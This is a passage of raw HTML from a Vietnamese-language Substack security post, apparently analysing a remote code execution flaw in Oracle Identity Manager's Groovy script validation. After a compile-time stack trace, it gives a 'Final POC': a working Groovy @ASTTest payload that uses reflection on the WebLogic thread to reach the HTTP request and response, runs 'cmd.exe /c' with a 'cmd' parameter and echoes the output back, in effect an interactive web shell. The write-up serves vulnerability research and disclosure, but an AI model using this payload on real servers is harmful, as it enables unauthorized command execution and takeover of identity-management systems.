data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:355,&quot;width&quot;:1174,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Xemx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 424w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 848w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 1272w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>To&#224;n b&#7897; qu&#225; tr&#236;nh tr&#234;n &#273;&#432;&#7907;c di&#7877;n ra trong giai &#273;o&#7841;n compile kh&#244;ng ph&#7843;i runtime cho n&#234;n ta c&#243; th&#7875; th&#7921;c thi code t&#249;y &#253; &#8594; &#273;&#226;y c&#361;ng ch&#237;nh l&#224; sink c&#7911;a chain n&#224;y.</p><p>Ta c&#243; stack trace nh&#432; sau:</p><pre><code><code>exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:48, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:113, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:2, Script1
evaluate:413, GroovyShell (groovy.lang)
evaluate:435, GroovyShell (groovy.lang)
evaluate:417, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
call:112, ASTTestTransformation$1 (org.codehaus.groovy.transform)
compile:562, CompilationUnit (org.codehaus.groovy.control)
doParseClass:238, GroovyClassLoader (groovy.lang)
parseClass:201, GroovyClassLoader (groovy.lang)
parseClass:472, GroovyShell (groovy.lang)
parse:476, GroovyShell (groovy.lang)
parse:497, GroovyShell (groovy.lang)
parse:488, GroovyShell (groovy.lang)
validateScript:122, GroovyScriptExecutor (oracle.iam.application.vo)
compileScript:538, ApplicationManagerImpl (oracle.iam.application.impl)
</code></code></pre><h2><strong>Final POC</strong></h2><p>N&#7871;u b&#7841;n &#273;&#7875; &#253;, c&#225;c PoC nh&#432; c&#7911;a m&#236;nh &#7903; tr&#234;n ho&#7863;c c&#7911;a Searchlight &#273;&#7873;u th&#7921;c hi&#7879;n theo c&#225;ch g&#7885;i tr&#7921;c ti&#7871;p <code>java.lang.Runtime</code> &#273;&#7875; spawn process, ho&#7863;c m&#7903; m&#7897;t k&#7871;t n&#7889;i outbound ra b&#234;n ngo&#224;i. Tuy nhi&#234;n, c&#7843; hai ph&#432;&#417;ng ph&#225;p n&#224;y &#273;&#7873;u c&#243; nh&#7919;ng h&#7841;n ch&#7871; l&#7899;n. Ngay c&#7843; khi khai th&#225;c th&#224;nh c&#244;ng v&#224; &#273;&#7841;t &#273;&#432;&#7907;c RCE, k&#7871;t qu&#7843; c&#361;ng ch&#7881; l&#224; Blind RCE &#8211; t&#7913;c l&#224; kh&#244;ng c&#243; ph&#7843;n h&#7891;i tr&#7921;c ti&#7871;p &#273;&#7875; x&#225;c minh. Tr&#432;&#7901;ng h&#7907;p server kh&#244;ng cho ph&#233;p outbound, th&#236; c&#361;ng kh&#244;ng c&#243; c&#225;ch n&#224;o x&#225;c nh&#7853;n vi&#7879;c khai th&#225;c c&#243; th&#7921;c s&#7921; th&#224;nh c&#244;ng hay kh&#244;ng.</p><p>&#272;&#7875; kh&#7855;c ph&#7909;c h&#7841;n ch&#7871; &#273;&#243;, c&#249;ng v&#7899;i vi&#7879;c l&#7907;i d&#7909;ng script groovy kh&#244;ng b&#7883; sandbox, ta c&#243; th&#7875; d&#249;ng java Reflection API &#273;&#7875; access &#273;&#432;&#7907;c c&#225;c object request/response c&#7911;a Thread hi&#7879;n t&#7841;i v&#224; modify l&#7841;i logic t&#249;y &#253;, t&#7915; &#273;&#243; c&#243; th&#7875; control &#273;&#432;&#7907;c response tr&#7843; v&#7873; c&#7911;a OIM.</p><pre><code><code>import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def thread = Thread.currentThread()
            def execThread = Class.forName(&#8221;weblogic.work.ExecuteThread&#8221;).cast(thread)
            def work = execThread.getClass().getMethod(&#8221;getCurrentWork&#8221;).invoke(execThread)

            def handlerField = work.getClass().getDeclaredField(&#8221;connectionHandler&#8221;)
            handlerField.setAccessible(true)
            def handler = handlerField.get(work)

            def req = handler.getClass().getMethod(&#8221;getServletRequest&#8221;).invoke(handler)
            def res = handler.getClass().getMethod(&#8221;getServletResponse&#8221;).invoke(handler)

            def param = req.getParameter(&#8221;cmd&#8221;)
            def out = res.getWriter()

            if (param != null &amp;&amp; !param.trim().isEmpty()) {
                String[] cmds = [ &#8220;cmd.exe&#8221;, &#8220;/c&#8221;, param ] as String[]
                def process = Runtime.getRuntime().exec(cmds)
                def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
                String line
                while ((line = reader.readLine()) != null) {
                    out.println(line)
                }
                reader.close()
            }
            out.flush()
            res.flushBuffer()
        } catch (Throwable t) {
            
        }
    })
    def x 
}
</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vPvt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vPvt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 424w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 848w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 1272w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vPvt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png" width="1456" height="466" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:466,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!vPvt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 424w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 848w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 1272w, https://substackcdn.com/image/fetch/$s_!vPvt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61874cc1-d7e5-46bb-af12-a370bfeff103_1570x503.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://vred.mbbank.com.vn/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading MB VRED's Substack! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item></channel></rss>